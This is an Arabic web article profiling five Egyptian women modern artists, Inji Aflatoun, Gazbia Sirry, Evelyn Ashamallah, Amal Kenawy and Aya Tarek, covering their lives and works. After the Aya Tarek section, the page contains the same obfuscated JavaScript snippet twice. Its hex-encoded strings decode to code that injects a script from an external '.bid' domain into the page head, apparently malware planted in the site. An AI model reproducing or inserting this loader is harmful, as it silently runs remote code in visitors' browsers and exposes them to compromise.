فنون

خمس رائدات مصريات في الفن الحديث

إنجي أفلاطون (1924-1989)

“أنا، تلك التي تتحدث الفرنسية، أضعت من عمري 18 عامًا في مجتمع منغلق. حتى عمر السابعة عشرة، كانت الفرنسية هي لغتي الأولى وعندما شرعت في التعامل المباشر مع الناس لم أستطع تجاوز هذا التصادم.” – تكتب الفنانة والناشطة السياسية إنجي أفلاطون بصراحة في مذكراتها.

شقت أفلاطون، التي ولدت في العام 1924، طريقها بهدم القوانين الصارمة. كانت فكرتها العامة هي الاستياء من المجتمع كليًا ومن نشأتها فيه.

بورتريه ذاتي، 1958

عائلتها من الطبقة البرجوازية، ومثل أفراد هذه الطبقة، نشأت أفلاطون في بداية حياتها منعزلة عن المجتمع المصري.

تجلت ثيمات التمرد على هذا السجن الثقافي من خلال أعمالها المبكرة. تم تقديمها في البداية عن طريق الفنان كامل التلمساني الذي اعترف لها بعد ذلك أنه لم يكن لديه الرغبة الكاملة في تعليم فتاة من الطبقة البرجوازية تتعلم الفن كما تتعلم الخياطة والبيانو والطبخ، إلا أنها أبهرته برسوماتها الجريئة التي تصرخ بالألوان الأخاذة.

صورت أفلاطون في لوحتها الزيتية الأولى فتاة تحاول أن تهرب من نيران مشتعلة، بينما الثعابين تحوطها محاولةً أن تلتهمها. لوحتها الثانية تصور فتاة تجري في عاصفة فوق صخور محاولةً الهروب من طير جارح. لوحة أخرى تصور رجلا يقتل شجرة والدماء تسيل منها فوق الرجل لتخنقه وتحقق انتقامها.

بورتريه، 1960

تم اعتقال أفلاطون لمدة أربع سنوات أثناء حكم الرئيس جمال عبد الناصر بسبب انتمائها للحركة الشيوعية لكنّ هذا لم يكن السجن الأول في حياتها. سجنها الأول كان في أيام دراستها حتى الصف الرابع بالمدرسة الكاثوليكية الصارمة. فقد زرعت المدرسة في الفتيات شعورًا بالاغتراب عن الثقافة المصرية بسبب قواعدها المشددة التي تمردت عليها أفلاطون منذ صغرها.

كان محرمًا الحصول على كتاب خاص أو قراءة كتاب أو صنع صداقات مع فتيات أخريات أو الحديث أثناء الراحات أو حتى النظر إلى المرآة.

مشهد، 1971

ومما أصابها بالاستياء كذلك، النظام الطبقي الملحوظ. فالأم الراهبة التي تنحدر من أسرة عريقة تحصل على جميع الامتيازات في الدير، بينما الأخوات الراهبات اللاتي ينحدرن من أسر فقيرة لم يحصلن ذات الامتيازات. كانت أفلاطون تتساءل كيف يمكن رؤية هذا الظلم في مكان يدّرس التعاليم الدينية والزهد؟

بدايةً من هذه اللحظة، شرعت أفلاطون في تاريخها الطويل من التمرد.

اشتركت في العام 1944 بالحزب الشيوعي “إسكرا” وبدأت في تعلّم اللغة العربية والتي أسمتها بالعملية الصعبة تجاه الاقتراب من الأصول والشخصية المصرية.

خلال هذه الفترة، انتقلت إلى استخدام الأسلوب السيريالي لفترة قصيرة للتعبير عن أفكارها ثم عادت إلى الواقعية.

تكوين سريالي، 1942

“رغبتي الأساسية خلال هذا الوقت أن أعبر عن الواقع والأحلام الخاصة بالرجل العامل الذي يرضخ لظروف العمل القاسية دون أي قانون لحمايته. أردت أن أكشف استغلال الإنسان للإنسان.” – تكتب أفلاطون في مذكراتها.

تقول أيضا: “عندما اعتقلت، كانت لدي رغبة قوية في الرسم وعدم الرضوخ للواقع.” مع الوقت، صنعتْ اتفاقا مع نساء السجن، اللاتي كن يحببن الرسم أيضا، أن ترسم إن أصبحت الرسومات ملكا للسجن. في البداية، كان غير مسموحا لها بالرسم، لكن حين جاء إليها ضابط وسألها عما ترسمه، أخبرته أنه غير مسموح لها بالرسم هنا، فقام الضابط بإخبار مأمور السجن: “لديك إنجي أفلاطون هنا. دعها ترسم ما تريده.”

الذهب الأبيض، 1963

منذ ذلك الحين، انطلقت ريشة أفلاطون بالتقاط صور النساء في المعتقل وحياة الانعزال.

تستعيد أفلاطون حياتها الطويلة في شيخوختها، فتتخيل نفسها تمشي خلال الحقول في الريف وترسم الأطفال الصغار. تعترف أفلاطون أنها تريد الهروب من زيف الحياة المدنية، وأن تمتطي حمارا وترحل.

جاذبية سري (1925-)

تحتضن جاذبية سري الحياة بإبداعها الفني المميز بالثقافة الثرية للوجود البشري. إنها تعمل على موضوع، وتسلك طريقا وعرا من أجل تحقيق هذا الهدف. إنها لا ترسم، بل هي بالأحرى تصب روحها وموهبتها وعبقريتها على الورق. لقد ولدت لكي تكون شاهدة على الشعب بآماله وآلامه، وأفراحه وأتراحه.

بدون عنوان، 1967

على امتداد مراحل عملها، تعتبر لوحات جاذبية درامية في المقام الأول، حيث تجعل المشاهد يتلقى الرسالة من خلال أشكال واضحة ورموز وتكوينات ملونة. علاوة على أن أعمالها تداعب مشاعر المشاهد وخياله، ثم تشدهما إلى عالمها الداخلي الممتلئ بالمشاعر المتأججة والفياضة. العالم الغرائبي للواحتها يجتاح العالم الواقعي بشكل كامل.

عائلة مصرية، 1955

ولدت سري في القاهرة عام 1925 في أسرة غنية، وتعتبر من أشهر الفنانين في تاريخ مصر المعاصر. تتميز أعمالها بين الأعمال الأخرى بأنها تفارق الأبعاد الشكلية للعمل الفني. تعتبر كذلك واحدة من القلة الذين سجلوا خطوات تطور لوحاتها على مدار مسيرة عملهم. مع نظرة عامة لأهم أعمالها، يمكننا ملاحظة الطرق المختلفة التي توظّفها بالعمل الفني والأساليب التي تستقيها من جميع أنحاء العالم مما يدحض فكرة أن الحداثيين المصريين يقلدون الأوروبيين فقط.

إيفلين عشم الله (1948-)

إيفلين عشم الله قدر لا بد منه. مثلت أعمالها المتجذرة من الطفولة مرورًا بالمراهقة حتى سن الرشد، أفكارًا طفولية حول الاحتياجات الخارقة للعادة والرغبات التي نمت لتتحول إلى عناصر ميتافيزيقية للروح البشرية: اقترابها من طبيعة العقل اللعوبة، ومن المشاهد الطبيعية للقرى في كفر الشيخ، إلى رسوم جبال الجزائر في أواخر العام 1970.

بدون عنوان، 1995

عادت عشم الله في الثمانينيات من الجزائر وشرعت بالتركيز على البورتيريهات والنباتات بطريقتها التجريدية التي تطورت إلى الرتوش الشكلية – ابتداء من الزيت والشمع إلى الأكريليك. في 1996 أصبحت طريقة عشم الله الأساسية هي هذا التلاعب.

بدون عنوان، 1995

رسومها اليدوية صارت لوحات، ولوحاتها صارت تحفا فنية بالنسبة لنا. عملت خصوبة الألوان والشخصيات وتفاصيل تلك الشخصيات عبر الكائنات الحية الأخرى على تشويه مظهر تلك الكائنات.

بدون عنوان، 1993

هذا التلاعب والتشويه الذي قامت به عشم الله استمر في أعمالها حتى يومنا هذا، إلا أن السياق اختلف. بدءا بالموالد الشعبية، الطقوس الدينية وحتى التجمعات العائلية والبورتيريهات، قامت عشم الله بشخصنة ذكرياتها الخاصة ونشرتها على هيئة تاريخ ثقافي شعبي. نلاحظ أنّ لوحات عشم الله من 1989 إلى 2009 تحمل طابع التلاعب والصبيانية المشوّه الذي عاشته في ذاكرة طفولتها.

آمال قناوي (1974-2012)

“…لكنني لا أستطيع التوكيد أنني على قيد الحياة بسبب المشاعر التي تحتل جسدي بشكل مستمر، فلا تتحول إلا إلى مجرد محارة مادية، إلى حاجز يفصل وجودي الداخلي عن العالم الذي حولي. لهذا السبب، أحاول أن أنضد فهمي فيمكنني أن أستوعب الإنسان من خلال الإطار الأوسع لوجوده. أدرك ذلك عن طريق الصور المجردة التي أستخدمها، الصور التي تتأرجح بين أن تكون ذكرياتي وأحلامي وبين الواقع الذي أعيش فيه. هذه الصور التي تقترب من تصويري، والتعبير عن ذات حقيقية، الذات التي يمكنني رؤيتها بشكل واضح خارج حدود الجسد الضيقة.”  – الغرفة، آمال قناوي

فارقت الفنانة الرائدة آمال قناوي الحياة في 19 أغسطس 2012 بعد معركة طويلة مع مرض اللوكيميا في حالاته المتقدمة. اشتهرت أعمالها بتصوير العلاقة بين الفرد وبين الوجود الروحاني و المادي. نالت قناوي احترام زملائها بفضل تجميع المشاهد والأصوات والعروض التي تتحدى المشاهدين لدخول رحلة شخصية تكاد تصبح مقالات نقدية في الثقافة المجتمعية.

سوف يقتلونك، 2006

ولدت قناوي في القاهرة سنة 1974، درست السينما وتصميم الأزياء بالمعهد العالي للسينما، ثم نالت درجة الليسانس في الفن من كلية الآداب بالعام 1999. شرعت حين كانت طالبة في عملها الفني بالمشاركة مع أخيها الأكبر الفنان عبد الغني القناوي. أنتجت تلك الشراكة بينهما عشرات الأعمال من المنحوتات والمجسمات والأفلام التي نالت شهرة عالمية.

القاهرة تأكلني من الداخل، 2007

كونها فنانة متفردة، سلكت قناوي جهتها الأقرب لروحها، وشرعت في استخدام جسدها نفسه جنبا إلى جنب مع المجسمات الأخرى في العروض التي تقدمها لكي تنقل إلى المشاهدين المشاعر العامة والتجربة. الحيوانات والمواد غير المألوفة أيضا شاركت في تقديم عروضها وأصبحت مألوفة للخيال، حيث غاصت قناوي في التعبيرات الواعية وغير الواعية للألم والأمل والرغبة عن طريق الثيمات التي تعكس اللحظات الفارقة في الحياة والذاكرة.

الرحلة، 2004

على الرغم من الموت الذي داهمها وهي في قمة بزوغها في مسيرتها القصيرة، قامت على رعايتها المنظمات الفنية الدولية في مرحلة مبكرة من مسيرتها الفنية. خلال 15 عاما، كانت رائدة الفن الحداثي بالعالم العربي خصوصا بمجال الأفلام والأداء المسرحي، حيث شاركت في عروض بأوروبا وأفريقيا والشرق الأوسط وآسيا.

  • آية طارق (1989-)

عمرها 27 سنة فقط، لكنها استطاعت أن تطرح اسمها على الساحة الفنية بعد أن احتلت مكانة بارزة في السنوات الأخيرة. من لا يعرف أعمالها، يمكنه التعرف على آية من خلال فيلم قصير اسمه ميكروفون، حيث قدمت فن الأندرغراوند.

على عكس مشهد ازدهار فن الغرافيتي خصوصا عقب الثورة، تنأى آية بنفسها عن حركة الغرافيتي المنتشرة في الشوارع كتمرد سياسي. بالطبع، فهي لم تسلك الطريق المعتادة لفناني الغرافيتي المصريين، الذين نالوا شهرتهم بسرعة في العام 2014.

تعمل آية بفن الشوارع من العام 2008، متجولة في شوارع الإسكندرية في سنوات عمرها المبكرة بطريقتها المميزة، لكن فن الشوارع لم يكن هدفها الأساسي. درست آية الفن، استلهاما من جدها الذي كان مصمم غرافيك ومصمما لأفيشات الأفلام في الستينيات، إلا أنها وجدت نفسها بحاجة إلى مفارقة القوالب الشعبية.

“أنا لم أختر فن الشارع بشكل خاص. كنت أجرب كل شيء له علاقة بالفن والكوميكس. الكوميكس بشكل أساسي.” – تخبرنا آية عن سبب دراستها للفن بكلية الآداب جامعة الإسكندرية.

“أعتقد أن وسط مدينة الإسكندرية ألهمني كل شيء.. التصميم المعماري للمباني. كنت معتادة على التجول ورؤية هذه المباني الرائعة. حتى في التسعينيات، كانت المدينة تعود إلى زمن الستينيات، لذلك كانت الكوميكس التي اعتدت شراءها تعود إلى الستينيات. كل شيء كان مضغوطا في هذه الحقبة، لذلك شعرت أنني في حقبة مختلفة بهذه الحقبة الحالية.”

var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el) var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

تعليقات الفيسبوك

التعليقات

عن الكاتب

نور الدّين محمّد

دارسٌ للغة الروسيّة و آدابها، و مترجمٌ عنها.

نشر..